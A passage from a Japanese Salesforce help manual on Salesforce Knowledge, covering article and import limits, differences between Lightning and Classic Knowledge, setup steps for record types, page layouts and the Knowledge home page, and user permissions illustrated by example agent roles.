なしEnterprise Edition、Developer Edition、お
よび Unlimited Edition: 記事タイプあた
り 500 個のカスタム項目
Performance Edition: 記事タイプあたり
800 個のカスタム項目

記事タイプあたりの最大カスタム
項目数

なし5 個のファイル項目最大ファイル項目

ファイルは最大 25 MB です。ファイル項目は添付ファイルとし
てカウントされます。最大25 MBで
す。

最大ファイルサイズ

131072 文字131072 文字最大リッチテキストエリアサイズ

1638400 文字1638400 文字記事のすべてのリッチテキストエ
リア項目の合計サイズ

1 つのリッチテキスト項目で、異な
る Salesforce ナレッジ記事に最大 100

個のリンクを設定できます。

1 つのリッチテキスト項目で、異な
る Salesforce ナレッジ記事に最大 100

個のリンクを設定できます。

リッチテキストエリア項目での一
意の最大記事参照 (リンク) 数

記事イベントは、最長 18 か月間追
跡されます。

記事イベントは、最長 18 か月間追
跡されます。

記事履歴の追跡

なし16 個のサポート言語最大サポート言語数
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Lightning Knowledge の詳細Classic ナレッジの詳細Salesforce ナレッジの制限

なしインポート .zip ファイルは次の要件
を満たす必要があります。

記事のインポート

• .csv ファイルと .properties ファイ
ルをそれぞれ 1 つのみ含めるこ
とができます。

• .csv ファイルと .properties ファイ
ルがルートディレクトリに配置
されている必要があります。

• 圧縮プロセスでフォルダとサブ
フォルダの構造を維持する必要
があります。

• .zip ファイル名に特殊文字は使用
できません。

• .zip ファイルは 20 MB を、zip ファ
イル内の各非圧縮ファイルは 10

MB を超えることはできません。
• ヘッダー行を含め .csv ファイル

に 10,000 を超える行を含めるこ
とはできません。したがって、
最大 9,999 個の記事と翻訳を含め
ることができます。

• .csv ファイルの行が 400,000 文字
を超えることはできません。

• .csv ファイルのセルが 32 KB を超
えることはできません。

• .csv ファイルの各記事に 50 以上
の翻訳を含めることはできませ
ん。

カテゴリグループ 5 つ、一度に有効
にできるグループ 3 つ

カテゴリグループ 5 つ、一度に有効
にできるグループ 3 つ

最大データカテゴリグループ数お
よび有効なデータカテゴリグルー
プ

1 つのデータカテゴリグループに
100 個のカテゴリ

1 つのデータカテゴリグループに
100 個のカテゴリ

データカテゴリグループあたりの
最大カテゴリ数

1 つのデータカテゴリグループ階層
に 5 個のレベル

1 つのデータカテゴリグループ階層
に 5 個のレベル

データカテゴリグループ階層あた
りの最大レベル数

記事に割り当てられたデータカテ
ゴリグループの 8 個のデータカテゴ
リ

記事に割り当てられたデータカテ
ゴリグループの 8 個のデータカテゴ
リ

記事に割り当てられたデータカテ
ゴリグループの最大データカテゴ
リ数
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Lightning Knowledge の詳細Classic ナレッジの詳細Salesforce ナレッジの制限

なし組織で最大 2,000 個の昇格済み用語
を作成できます。

昇格済み検索語の最大数

関連トピック:

Salesforce ナレッジの概要
知識ベースの計画
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

Salesforce Classic と Lightning Experience の Salesforce ナレッジの比較

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

Spring '17 以降、ナレッジは Salesforce Classicと Lightning Experienceの両方で使用でき
ます。Lightning Knowledge と Classic ナレッジを比較し、組織で Lightning Knowledge

を有効にする準備が整っているか判断してください。
Lightning Knowledge では、Salesforce のナレッジの動作が変更されています。たと
えば、記事タイプが標準レコードタイプに置き換えられ、Salesforce Classicのサー
ビスコンソールの Knowledge One が Lightning サービスコンソールのナレッジサイ
ドバーに置き換えられています。
Lightning Knowledge は Classic ナレッジとは異なって動作しますが、現時点では制
限があります。Salesforce Classic と Lightning Experience のナレッジを比較してみま
しょう。

Lightning KnowledgeClassic ナレッジ機能

Salesforce Classicの [設定] に
切り替え

Salesforce Classic の [設定]設定

標準レコードタイプ記事タイプ記事のタイプ

単一言語モードのみ複数言語モードと翻訳を
使用可能

言語

Lightning サービスコン
ソールにナレッジサイド

サービスコンソールに
Knowledge One を追加

コンソールでのナレッジ
の使用

バーを追加 (ケースのみで
使用可能)

項目、アクション、およ
び関連リスト (レコードタ

項目のみ (記事タイプと
ユーザプロファイルごと)

ページレイアウト

イプとユーザプロファイ
ルごと)

標準レコードホームカスタムレコードホームレコードホーム (記事)
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Lightning KnowledgeClassic ナレッジ機能

ナレッジホームページとリスト
ビュー

Knowledge One および [記事の管理]

タブ
オブジェクトホーム

CRUD、プロファイル権限、および
ページレイアウト

CRUD、プロファイル権限、ページ
レイアウト、および公開グループ
ごとのカスタム記事アクション

アクセスおよび権限

Lightning Knowledge の制限事項

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

Lightning Knowledge に切り替えるときには、いくつかの制限事項があります。
Lightning Knowledge を使用するときは、次の点に留意してください。
Lightning Knowledge を有効化する前の重要な考慮事項

• Lightning Knowledgeは一度有効化すると、無効化できません。最初に Sandbox

組織で Lightning Knowledge をテストすることをお勧めします。
• Lightning Knowledge を有効化するときに使用できる記事タイプは 1 つのみ

です。現在、記事タイプをマージする移行ツールはありません。Lightning

Knowledge を有効化するには、記事を 1 つの記事タイプに移行し、他の記
事タイプを無効化または削除します。

• Lightning Knowledge では現在、複数言語モードと翻訳はサポートされてい
ません。

• Lightning Knowledgeはデータカテゴリ数が 300 未満の場合にのみ使用するこ
とをお勧めします。データカテゴリ数が 300 を超えている場合、パフォー
マンスが低下する可能性があります。

• 記事のバージョン数が 30 を超えている場合、30 より大きいバージョンは
Salesforce Classicに表示されますが、Lightning Experienceには表示されません。

• Lightning Knowledge の設定は Salesforce Classic でも保持されます。Lightning

Knowledge が有効化されると、ナレッジレコードタイプ、項目、ページレイアウト、および入力規則を
管理する新しい [ナレッジオブジェクト設定] 設定ノードが表示されます。

Lightning Knowledge の一般的な使用制限
• 現在、レコードタイプを使用してインポートまたはエクスポートすることはできません。
• Lightning Knowledge では現在、記事の割り当ておよびアーカイブ済み記事の削除を行うことはできませ

ん。
• Lightning Knowledgeが有効な場合、公開グループで記事アクションを使用することはできません。これは

新しいユーザプロファイル権限で置き換えられています。
• 現在、公開記事を編集中に削除することはできません。代わりに、新しいバージョンをドラフトとして

編集しているときに記事は公開されたままになります。
• Lightning Knowledge では一括アクション (一括アーカイブや一括公開など) を使用できません。
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• リストビューでは、すべての [ナレッジ] リストビューで 1 つの言語と 1 つの公開の状況を指定する必要
があります。指定しないと、リストビューにレコードが表示されません。PublishStatus または Language で
の複数選択、またはリストビュー検索条件での「IN」および「OR」演算子はサポートされていません。

• データカテゴリは [ナレッジ] リストビューに表示されません。
• カスタマイズされたレコードホーム flexipage は、Lightning Knowledge ではサポートされていません。
• Lightning Knowledge のナレッジ検索では、外部データソースはサポートされていません。
• 記事のオンラインバージョンがない場合、新しい評価コンポーネントに投票情報は表示されません。す

べてのオンラインバージョンは記事がアーカイブされたときに削除されるため、これは記事ドラフトと
アーカイブ済み記事に影響します。

• ほとんどのナレッジアクションは Lightning プロセスビルダーでは使用できません。
Lightning Knowledge のコンソールの制限

• ナレッジフッターは Lightning サービスコンソールにはありません。
• Lightning サービスコンソールでは、PDF としての添付、ケースメールへの PDF としての添付、ケースメー

ルへの記事コンテンツの挿入、記事のコミュニティ URL の挿入、およびケースパブリッシャーへの記事
URL の挿入アクションは使用できません。編集、公開、アーカイブを含む標準の記事アクションも使用
できません。

Lightning Knowledge の有効化後の Salesforce Classic での制限
• 複数言語モードは、Lightning Knowledge が有効化された後は有効にできません。
• アクションおよび関連リストのページレイアウト選択は、Salesforce Classic には反映されません。
• 2 列のページレイアウトは、Salesforce Classic では表示されません。
• レコードタイプの変更などの一部のアクションは、Salesforce Classic では使用できません。
• [ナレッジ] リストビューは、Salesforce Classic では使用できません。
• ナレッジレコードタイプでの検索は、Salesforce Classic では実行できません。
• アーカイブ済み記事での検索は、Salesforce Classic では [記事の管理] 以外からは実行できません。
• Lightning Experience のファイルは Salesforce Classic には表示されず、Salesforce Classic のファイルは Lightning

Experience には表示されません。
他の Salesforce 製品での Lightning Knowledge の使用制限

• Classic Knowledge 実装での添付ファイルは、Lightning Knowledge には転送されません。記事を Lightning

Knowledgeに移行した後に、ページレイアウトに [ファイル] 関連リストを追加し、各記事の [ファイル] 関
連リストを使用してファイルを移行してください。

• ファイルが記事に関連付けられた後に [ファイル] コンポーネントからそのファイルを添付解除または削
除することはできません。レコードフィードを介してファイルがレコードと共有されている場合、その
フィード投稿を削除することで対処できます。ファイルの削除についての詳細は、「フィードからの
ファイルとリンクの削除」 (ページ 3677)を参照してください。

• 現在、添付ファイルを記事から削除する唯一の方法は、そのファイルを [ファイル] ホームから削除する
ことです。

• レコードタイプによるレポート作成は現在、Lightning Knowledge ではサポートされていません。
• すべてのリッチテキストエディタは現在、LockerService が有効な場合は無効です。Sandbox または Developer

Edition 組織で Lightning Knowledge を使用している場合、Lightning Experience で LockerService をオフにするこ

3452

Salesforce ナレッジの概要カスタマーサポートツールの設定および管理



とをお勧めします。本番組織で Lightning Knowledgeを使用している場合、Lightning Experienceで LockerService

を有効にしないことをお勧めします。
• リッチテキストエディタはLightning Experienceでは制限されています。Lightning Knowledgeでは現在、リッ

チテキストエディタ機能のスマートリンク、テーブル、ソースの表示、アンカー、動画はサポートされ
ず、フォントは制限されています。

• Lightning Knowledge は現在、コミュニティではサポートされていません。
• Lightning Knowledge は現在、Salesforce1 ではサポートされていません。

Lightning Knowledge の設定

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce ナレッジを使用
可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

Lightning Knowledge の有効化、ナレッジレコードタイプの作成、レコードタイプ
ページレイアウトのカスタマイズ、ナレッジユーザのアクセス権の設定、Lightning

Knowledge プロセスの作成を行います。
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Lightning Knowledge の有効化

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

Lightning Knowledge を有効にして Lightning Experience で知識ベースを使用します。
Lightning Knowledge は一度有効化すると、無効化できません。
1. Salesforce Classicの [設定] から、[クイック検索]ボックスに「ナレッジ」と入力

し、[ナレッジの設定] をクリックします。
2. ナレッジを初めて使用する場合は、[はい] を選択して [Salesforce ナレッジを

有効化] をクリックし、Salesforce Classic のナレッジを有効にします。
3. [ナレッジの設定] ページで、[編集] をクリックします。
4. [Lightning Knowledge を有効化] を選択します。
5. [保存] をクリックします。
Lightning Knowledge が有効化されると、[ナレッジオブジェクト設定] ノードが表
示されます。ここで、Lightning Knowledge の設定とページレイアウトを制御しま
す。Lightning Knowledge のすべての設定は Salesforce Classic でも保持されます。

Lightning Knowledge レコードタイプの作成

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ナレッジ記事のタイプを区別するレコードタイプを作成します。Lightning Knowledge

では、カスタム記事タイプが標準レコードタイプに置き換えられます。
異なるコンテンツには異なるニーズがあります。たとえば、FAQ ページはチュー
トリアルとは異なり、チュートリアルはポリシーステートメントは異なります。
レコードタイプでは、各記事タイプのコンテンツとレイアウトを制御できます。
1. Salesforce Classic の [設定] から、[ビルド] > [ナレッジ] > [ナレッジオブジェクト

設定] に移動します。
2. [レコードタイプ] で、[新規] をクリックします。
3. テンプレートとして使用する既存のレコードタイプを選択します。新しいレ

コードタイプには、選択した既存のレコードタイプにあるすべての選択リス
ト値が含まれます。

4. レコードタイプの表示ラベルを入力します。
5. 必要に応じて、説明を入力します。
6. このレコードタイプをすぐに使用できるようにする場合は、[有効] を選択し

ます。
7. このレコードタイプのプロファイルアクセスを選択します。
8. [次へ] をクリックします。
9. このレコードタイプのレコードでこのプロファイルを持つユーザに表示されるページレイアウトを選択し

ます。
10. [保存] をクリックします。
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Lightning Knowledge レコードタイプページレイアウトのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

レコードタイプレイアウ
トをカスタマイズする
• 「アプリケーションの

カスタマイズ」

作成する各レコードタイプのページレイアウトをカスタマイズできます。Lightning

知識ベースにある各記事タイプのフォームと構造を制御できます。
レコードタイプレイアウトで、エージェントが記事のデータを入力するときに
表示および編集できる項目を決定します。また、ユーザが記事を参照するとき
に表示されるセクションも決定します。各レコードタイプとユーザプロファイ
ルごとに項目、アクション、および関連リストをカスタマイズできます。
たとえば、機密データが含まれている場合、ユーザプロファイルによってペー
ジレイアウトをカスタマイズするとします。ユーザプロファイルによってペー
ジレイアウトを割り当てることで、同じ記事のより機密性の高い項目を、その
項目にアクセスする必要があるエージェントにのみ表示できます。
1. Salesforce Classicの [設定] から、[クイック検索]ボックスに「ナレッジ」と入力

し、[ナレッジオブジェクト設定] を選択します。
2. [ページレイアウト] 関連リストまでスクロールダウンするか、ページの上部

にある [ページレイアウト] リンクをクリックします。
3. ページレイアウトを作成するには、[新規] をクリックし、表示されるプロン

プトに従います。既存のレイアウトを編集するには、[編集] をクリックして
変更を加えます。
必要な変更を加えます。レイアウトエディタは、画面上部のパレットと画面
下部のレイアウトの 2 つの部分から構成されています。パレットには使用可
能な項目とセクション要素が含まれます。レイアウトには情報セクション
と、セクションを追加するためのスペースが含まれます。デフォルトでは、
すべてのカスタム項目は情報セクションに含まれています。

重要: レコードタイプレイアウトの保存をクリックせずに他のページに
移動すると、変更が失われます。

メモ: [役職] および [URL 名] 標準項目は必須です。

説明ToDo

セクション要素をパレットにドラッグアンドドロッ
プします。

セクションを追加する

タイトルをクリックします。情報セクションの名前
は変更できません。

セクションの名前を変更する

このレイアウトで 1 列または 2 列を選択します。2 列
のレイアウトの場合、ナビゲーションフローの方向
(上下または左右) を設定できます。

1 列または 2 列を指定する

項目をパレットの右側にドラッグするか、項目の横
にある アイコンをクリックします。

項目をセクションから削除する
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説明ToDo

セクション名の横にある アイコンをクリックし
ます。

セクションを記事タイプレイアウトから削除する

[適用] をクリックします。変更を保存して、記事タイプレイアウトの編集を続
行する

ヒント:

• 前後に行った操作を戻すには、それぞれ [元に戻す] ボタンと [やり直し] ボタンを使用します。
• 次のキーボードショートカットを使用します。

– 元に戻す = Ctrl+Z

– やり直し = Ctrl+Y

– 適用 = Ctrl+S

• 複数の要素を個別に選択するには、Ctrl キーを押しながらクリックします。複数の要素をグループ
として選択するには、Shift キーを押しながらクリックします。

• パレット内のアイテムを簡単に検索するには、[クイック検索] ボックスを使用します。[クイック検
索] ボックスは、特に、パレットから入手できるアイテム数が非常に多い記事タイプレイアウトに
便利です。

4. ユーザプロファイルに基づいて記事タイプにさまざまなレイアウトを割り当てるには、[ページレイアウト
の割り当て] をクリックします。

5. [割り当ての編集]をクリックします。
6. 変更するプロファイルまたは複数のプロファイル (SHIFT を使用) を選択し、[使用するページレイアウト] ド

ロップダウンからレイアウトを選択します。
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Lightning Knowledge ホームの作成

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

Lightning Experience のナレッジにアクセスする Lightning Knowledge ホームページを
作成します。Spring '17 以降に作成された組織の場合、Lightning Knowledge ホーム
ページは自動的に作成されます。
必要なものすべてが 1 か所にまとめられます。記事の検索、表示、作成、管理
を Lightning Experience の単一のナレッジホームページで実行できます。さらに、
ナレッジホームを離れることなく、多数の作成アクションを実行できます。
公開記事では、次の操作を実行できます。
• 新規記事を作成する
• 公開記事をアーカイブする
• 公開記事を新しいドラフトとして編集する
ドラフト記事では、次の操作を実行できます。
• 新規記事を作成する
• ドラフト記事を公開する
• ドラフト記事を削除する
• ドラフト記事を編集する
アーカイブ済み記事では、次の操作を実行できます。
• 新規記事を作成する
• アーカイブされた記事を復元する
標準のユーザ権限を使用して、他のユーザにこれらのアクションへのアクセスを許可します。ページレイアウ
トを使用してレコードホームでこれらのアクションを使用可能にすることもできます。
Lightning Knowledgeホームは、Salesforceの他の場所と同じリストビューを使用します。デフォルトでは、ドラフ
ト、公開記事、アーカイブ済み記事のリストビューがあります。リストビューをカスタマイズし、表示して並
び替える項目を選択することを忘れないでください。カスタムリストビューの場合、記事レコードにない項目
は選択できません。つまり、リストビューではデータカテゴリ、評価、参照カウント、およびケース項目は使
用できません。

重要: すべての [ナレッジ] リストビューで 1 つの言語と 1 つの公開の状況を指定する必要があります。指
定しないと、リストビューにレコードが表示されません。PublishStatus または Language での複数選択、ま
たはリストビュー検索条件での「IN」および「OR」演算子はサポートされていません。

1. Salesforce Classic の [設定] から、[ビルド] > [作成] > [タブ] に移動します。
2. [カスタムオブジェクトタブ] で、[新規] をクリックします。
3. オブジェクトとして [ナレッジ] を選択します。
4. タブのスタイルを選択します。
5. 必要に応じて、スプラッシュページのカスタムリンクを選択し、説明を入力します。
6. [次へ] をクリックします。
7. このタブを使用できるカスタムユーザプロファイルを選択します。
8. [次へ] をクリックします。
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9. このタブを使用できるカスタムアプリケーションを選択します。
10. [保存] をクリックします。
Lightning Experience に切り替えると、ナレッジホームページが使用できるようになります。
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Lightning Knowledge のアクセス権の設定

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce ナレッジを使用
可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

ユーザを作成または編集
する
• 「内部ユーザの管理」

記事タイプと記事アク
ションを作成する (Classic
ナレッジのみ)
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

レコードタイプと記事ア
クションを作成する
(Lightning Knowledge のみ)
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

および

ナレッジに対する「作
成」、「編集」、およ
び「削除」

ナレッジエージェントにLightning Knowledgeの記事へのアクセス権を付与します。
社内のどのエージェントが、記事を作成、編集、アーカイブ、削除できるSalesforce

ナレッジユーザであるかを指定します。適切なユーザ権限を割り当てたユーザ
プロファイルを作成し、ユーザをそれらのプロファイルに割り当てます。
Lightning Knowledge では、公開グループの代わりに新しいユーザプロファイル権
限を使用して、エージェントに記事アクションへのアクセス権を付与します。
デフォルトでは、すべての内部ユーザが記事を参照できます。ただし、記事を
公開、アーカイブ、削除、および管理するエージェントには権限を割り当てる
必要があります。

メモ: エージェントが記事の参照以外のことを行うには、ナレッジユーザ
ライセンスが必要です。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ]

を選択します。
2. ユーザ名の横にある [編集] をクリックするか、[新規] をクリックして新

規ユーザを作成します。
3. ユーザを作成する場合、すべての必須項目に入力します。
4. [ナレッジユーザ] チェックボックスをオンにします。
5. [保存] をクリックします。

ユーザ権限は、さまざまなタスクへのアクセスを制御します。権限セットまた
はカスタムプロファイルを使用して、ユーザに必要な権限を付与することをお
勧めします。たとえば、「Article Manager」(記事マネージャ) という権限セットを
作成し、記事の作成、編集、公開、割り当て、削除、アーカイブに必要な権限
を追加できます。
Salesforce ナレッジタスクに関連付けられた権限についての詳細は、次の表を参
照してください。

必要なユーザ権限Lightning Knowledge タスク

「Salesforce ナレッジの管理」(この権限
は、システム管理者プロファイルにつ
いては、デフォルトで有効になってい
ます。)

および
ナレッジに対する「作成」、「編
集」、および「削除」

レコードタイプを管理する

「Salesforce ナレッジの管理」(この権限
は、システム管理者プロファイルにつ
いては、デフォルトで有効になってい
ます。)

記事アクションを管理する
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必要なユーザ権限Lightning Knowledge タスク

ナレッジに対する「参照」記事を検索し、参照する

ナレッジに対する「参照」ケースの記事を検索し、記事をケースに添付する

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

記事を作成する

ナレッジに対する「参照」および「作成」

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

ドラフト記事を編集する

ナレッジに対する「参照」および「編集」

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

ドラフト記事を削除する

ナレッジに対する「参照」、「編集」、および「削
除」

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

記事を公開する

ナレッジに対する「参照」、「作成」、「編集」、お
よび「削除」
および
「記事を公開」(Lightning Knowledge の新規権限)

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

ドラフト記事のレコードタイプを変更する

ナレッジに対する「参照」および「編集」

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

公開記事をアーカイブする

ナレッジに対する「参照」、「編集」、および「削
除」
および
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必要なユーザ権限Lightning Knowledge タスク

「記事をアーカイブ」(Lightning Knowledge の新規権限)

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

公開記事の新しいラフトを作成する

ナレッジに対する「参照」、「作成」、「編集」、お
よび「削除」

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

アーカイブ済み記事を新しいドラフトとして復元する

ナレッジに対する「参照」、「作成」、「編集」、お
よび「削除」
および
「記事をアーカイブ」(Lightning Knowledge の新規権限)

「データカテゴリの管理」権限。この権限は、システ
ム管理者プロファイルについては、デフォルトで有効
になっています。

データカテゴリを作成する

エージェントが特定の ToDo を実行できるようにするには、各ロールに公開グループを作成し、それらのグルー
プに必要な記事アクションのみを割り当てます。

例:  Salesforce ナレッジエージェントによって、業務経験の豊富さや、会社が提供する製品やサービスに対
する理解度は異なります。次の例は、4 つの基本的なユーザ種別と業務を実行するために必要な権限の一
部を示しています。
Scott: 閲覧者

Scott Jackson は入社してから日が浅いため、知識ベースは初級のエージェントです。現在、Scott は記事
に対して「参照のみ」のアクセス権を持っているため、記事を検索および参照できます。閲覧者は記
事を作成または公開することがないため、公開グループには属しておらず、記事の承認申請をする必
要もありません。Scott は、業務を実行するために次の権限が必要です。

ナレッジの権限権限Scott

削除編集作成参照記事の管理Salesforce ナレッジの機能

ケースから記事を検索し、記事を
ケースに添付する

記事を検索し、参照する
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Amber: 候補者
Amber Delaney は候補者レベルのエージェントで、状況が [作業進行中] または [未検証] の記事を作成
および公開できます。その他の検証状況の記事について作業する場合は、記事を公開する前に承認
キューに送信する必要があります。
Amber は KCS Candidate 公開グループに属しており、自分で公開できない記事は Publishing External キュー
に送信します。Amber は、業務を実行するために次の権限が必要です。

ナレッジの権限権限Amber

削除編集作成参照記事の管理Salesforce ナレッジの機能

ケースから記事を検索し、記事を
ケースに添付する

記事を検索し、参照する

記事を作成または編集する

ドラフト記事を編集する

公開記事を新しいドラフトとして編
集する、アーカイブ済み記事を新し
いドラフトとして復元する

Anne: 寄稿者
寄稿者である Anne Murphy は、より高度なナレッジユーザです。Anne は組織内の記事に対する基準を
理解しており、記事を作成したり、状況が [内部検証済み]の記事を公開したりできます。また、他の
ユーザが作成した記事の状況が [作業進行中] または [未検証] である場合に、これらの記事について
の作業を行い、状況を [内部検証済み] に変更できます。Anne には外部の利用者に記事を公開する権
限はないため、それらの顧客向け記事は Publishing External キューに送信する必要があります。

メモ: 記事承認者には、「記事の管理」権限と、確認する記事に関連付けられた記事タイプに対
して少なくとも「参照」権限が必要です。これらの権限を持っていれば、ドラフト状態の記事に
アクセスできます。これらの権限がない場合、承認者は記事の再割り当てを行えますが、承認は
できません。

Anne は、Contributor 外部グループのメンバーで、業務を実行するために次の権限が必要です。

ナレッジの権限権限

削除編集作成参照記事の管理Salesforce ナレッジの機能

記事を作成する

ケースから記事を検索し、記事を
ケースに添付する

記事を検索し、参照する
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ナレッジの権限権限

削除編集作成参照記事の管理Salesforce ナレッジの機能

ドラフト記事を編集する

記事 (バージョンまたは全体) を削除
する

記事をアーカイブする

Pat: 公開者
Pat Brown はナレッジドメインエキスパートで、外部利用者向けの記事の校閲と公開を行います。Pat は
Publisher 公開グループのメンバーです。また、Publishing External キューにも属しています。Pat は、業務
を実行するために次の権限が必要です。

記事タイプ固有の権限権限

削除編集作成参照記事の管理Salesforce ナレッジの機能

ケースから記事を検索し、記事を
ケースに添付する

記事を作成および編集する

ドラフト記事を編集する

記事 (バージョンまたは全体) を削除
する

記事を公開する

公開記事を新しいドラフトとして編
集する、アーカイブ済み記事を新し
いドラフトとして復元する

記事をアーカイブする

全体のしくみ
各ユーザプロファイルは、さまざまな業務や職務を実行するためのエージェントの権限を定義しま
す。エージェントがこれらの職務を実行できるようにするには、各ロールにユーザプロファイルを作
成し、そのグループに必要な権限のみを割り当てます。
次の表に、各ロールが組織内で記事に対して実行する必要のある職務を示します。

公開者寄稿者応募者閲覧者職務

はい自動的に承認、公
開される

自動的に承認、公
開される

いいえ[作業進行中] を作
成、公開する
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公開者寄稿者応募者閲覧者職務

はい自動的に承認、公
開される

自動的に承認、公
開される

いいえ[未検証] を作成、
公開する

はい自動的に承認、公
開される

承認が必要いいえ[内部検証済み]を作
成、公開する

はい承認が必要承認が必要いいえ[外部検証済み]を作
成、公開する

はい自動的に承認、公
開される

いいえいいえ[作業進行中] を更
新、公開する

はい自動的に承認、公
開される

いいえいいえ[未検証] を更新、
公開する

はい自動的に承認、公
開される

いいえいいえ[内部検証済み]を更
新、公開する

はい承認が必要いいえいいえ[外部検証済み]を更
新、公開する
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検証状況選択リスト値の定義

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce ナレッジを使用
可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

検証状況の選択リスト値
を作成または変更する
• 「アプリケーションの

カスタマイズ」

[ナレッジの設定] ページで [検証状況] 項目が有効な場合、記事の状態を示す選
択リスト値を作成できます。たとえば、値を「検証済み」、「未検証」、または
「 要レビュー」とすることができます。

メモ: Salesforce Classic では、検証状況の選択リスト値は、記事を翻訳するた
めにエクスポートするときには維持されません。選択リスト値を伴う記事
をインポートできますが、その値は、組織にその値が存在する場合にのみ
維持されます。

1. Salesforce Classicの [設定] から、[クイック検索]ボックスに「検証状況」と入力
し、[検証状況] を選択します。

2. 選択リストの編集ページで、[新規] をクリックして [検証状況] 項目に新しい
値を追加します。選択リスト値の編集、削除、並び替え、置き換えもできま
す。
選択リスト値を置き換えると、記事のすべてのバージョン (アーカイブされ
たバージョンを含む) の値が置き換えられます。

3. テキストエリアに 1 つ以上の選択リスト値 (1 行あたり 1 つ) を追加します。
4. 選択リストのデフォルトとして値を設定するには、[デフォルト] チェック

ボックスを必ずオンにしてください。
5. [保存] をクリックします。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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Lightning Knowledge ベースの使用

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce ナレッジを使用
可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

記事の検索、記事の作成と管理、Lightning サービスコンソールでのナレッジサイ
ドバーの使用、ナレッジレポートの作成を行います。

メイン検索ボックスとナレッジサイドバーでの記事の検索

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ナレッジ検索は、すべてのページ上部にあるメイン検索ボックス、およびLightning

サービスコンソールのナレッジサイドバーで実行します。
Lightning Experience では、ナレッジ検索はメイン検索ボックスとナレッジサイド
バーの両方で実行できます。高度な検索オプションでは、言語、公開の状況、
検証状況、レコードタイプ、またはデータカテゴリグループで結果を事前に絞
り込むことができます。
1. メイン検索ボックスで、「ナレッジ」と入力します。推奨コンテンツ、およ

び検索を特定のオブジェクトに絞り込むオプションが表示されます。
2. [ナレッジの検索を制限] を選択します。
3. 必要に応じて、[高度な検索] をクリックして言語、公開の状況、検証状況、

レコードタイプ、またはデータカテゴリグループで結果を事前に絞り込みま
す。選択した検索条件が検索ボックスに表示されます。

4. 検索語を入力します。

メモ:  100 文字まで入力できます。100 文字を超えて入力した場合、検索
の実行時には最初の 100 文字のみが使用されます。

5. Enter キーを押して検索を実行します。

メモ: Lightning サービスコンソールのナレッジサイドバーを使用してナレッジを検索することもできます。
[高度な検索] を使用して事前絞り込みを追加し、検索語を入力して検索を実行します。
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Lightning Knowledge のアクションの作成

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
